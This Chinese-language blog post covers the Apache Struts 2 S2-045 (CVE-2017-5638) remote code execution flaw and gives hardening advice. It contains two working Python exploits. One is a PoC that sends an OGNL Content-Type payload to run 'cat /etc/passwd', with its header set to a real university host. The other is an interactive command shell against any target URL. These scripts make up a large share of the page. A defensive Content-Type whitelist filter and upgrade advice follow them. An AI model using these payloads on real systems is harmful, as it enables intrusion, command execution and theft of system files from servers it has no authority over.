Struts 2 S2-045 Jakarta插件远程代码执行漏洞加固方法


近日,安恒信息安全研究院WEBIN实验室高级安全研究员nike.zheng发现著名J2EE框架-Struts2存在远程代码执行的严重漏洞。

漏洞编号

S2-045,CVE-2017-5638

漏洞名称

基于 Jakarta plugin插件的Struts远程代码执行漏洞

官方评级

高危

漏洞描述

Apache Struts 2被曝出存在远程命令执行漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令

漏洞利用条件和方式

黑客通过Jakarta 文件上传插件实现远程利用该漏洞执行代码。

1.基于Jakarta(Jakarta Multipart parser)插件的文件上传功能
2.恶意攻击者精心构造Content-Type的值

漏洞影响范围

Struts 2.3.5 – Struts 2.3.31

Struts 2.5 – Struts 2.5.10
Created by Lukasz Lenart, last modified yesterday at 01:14 PM

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
header1 ={
"Host":"alumnus.shu.edu.cn",
"Connection":"keep-alive",
"Refer":"alumnus.shu.edu.cn",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"Accept-Encoding":"deflate",
"Accept-Language":"zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4",
}
def poc():
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]='''%{(#nike='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().
getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())}'''
request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
response = urllib2.urlopen(request)
print response.read()
poc()

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# coding:utf-8
import requests,json,re
def Poc(url,command):
headers = {'Content-Type': 'multipart/form-data; boundary=f363ec3cc5ab44708db6a275b1f31a16',"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"}
headers["Content-Type"] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=' \
"+command+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
data = json.dumps({"image1":url})
try:
req = requests.post(url,data=data,headers=headers)
if req.status_code == 200:
print req.content
except requests.ConnectionError,e:
print e
th = {"url":""}
while True:
if th.get("url") != "":
input_cmd = raw_input("cmd >>: ")
if input_cmd == "exit":
exit()
elif input_cmd == 'set':
url = raw_input("set url :")
th['url'] = url
elif input_cmd == 'show url':
print th.get("url")
else:
Poc(th.get("url"),input_cmd)
else:
url = raw_input("set url :")
th["url"] = url

加固方式

通过判断Content-Type头是否为白名单类型,来限制非法Content-Type的攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class SecurityFilter extends HttpServlet implements Filter {
/**
*
*/
private static final long serialVersionUID = 1L;
public final String www_url_encode= "application/x-www-form-urlencoded";
public final String mul_data= "multipart/form-data ";
public final String txt_pla= "text/plain";
public void doFilter(ServletRequest arg0, ServletResponse arg1,
FilterChain arg2) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) arg0;
HttpServletResponse response = (HttpServletResponse) arg1;
String contenType=request.getHeader("conTent-type");
if(contenType!=null&&!contenType.equals("")&&!contenType.equalsIgnoreCase(www_url_encode)&&!contenType.equalsIgnoreCase(mul_data)&&!contenType.equalsIgnoreCase(txt_pla)){
response.setContentType("text/html;charset=UTF-8");
response.getWriter().write("非法请求Content-Type!");
return;
}
arg2.doFilter(request, response);
}
public void init(FilterConfig arg0) throws ServletException {
}
}

将Java编译以后的“SecurityFilter.class”(SecurityFilter.java是源代码文件)复制到应用的WEB-INF/classes目录下

⦁ 配置Filter 将下面的代码加入WEB-INF/web.xml文件中

1
2
3
4
5
6
7
8
<filter>
<filter-name>SecurityFilter</filter-name>
<filter-class>SecurityFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>SecurityFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

/代表拦截所有请求,进行攻击代码检查,.action只检查.action结尾的请求。

如果你正在使用基于Jakarta的文件上传Multipart解析器,请升级到 Apache Struts 2.3.32或2.5.10.1版;或者也可以切换到不同的实现文件上传Multipart解析器

重启应用即可

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 近日,安恒信息安全研究院WEBIN实验室高级安全研究员nike.zheng发现著名J2EE框架-Struts2存在远程代码执行的严重漏洞。
  • 漏洞编号
    1. 1. S2-045,CVE-2017-5638
  • 漏洞名称
    1. 1. 基于 Jakarta plugin插件的Struts远程代码执行漏洞
  • 官方评级
    1. 1. 高危
  • 漏洞描述
    1. 1. Apache Struts 2被曝出存在远程命令执行漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令
  • 漏洞利用条件和方式
    1. 1. 黑客通过Jakarta 文件上传插件实现远程利用该漏洞执行代码。
  • 漏洞影响范围
    1. 1. Struts 2.3.5 – Struts 2.3.31
  • Poc
  • Exp
  • 加固方式
    1. 1. 通过判断Content-Type头是否为白名单类型,来限制非法Content-Type的攻击。
    2. 2. 将Java编译以后的“SecurityFilter.class”(SecurityFilter.java是源代码文件)复制到应用的WEB-INF/classes目录下
    3. 3. ⦁ 配置Filter 将下面的代码加入WEB-INF/web.xml文件中
    4. 4. /代表拦截所有请求,进行攻击代码检查,.action只检查.action结尾的请求。
    5. 5. 如果你正在使用基于Jakarta的文件上传Multipart解析器,请升级到 Apache Struts 2.3.32或2.5.10.1版;或者也可以切换到不同的实现文件上传Multipart解析器
    6. 6. 重启应用即可
  • ,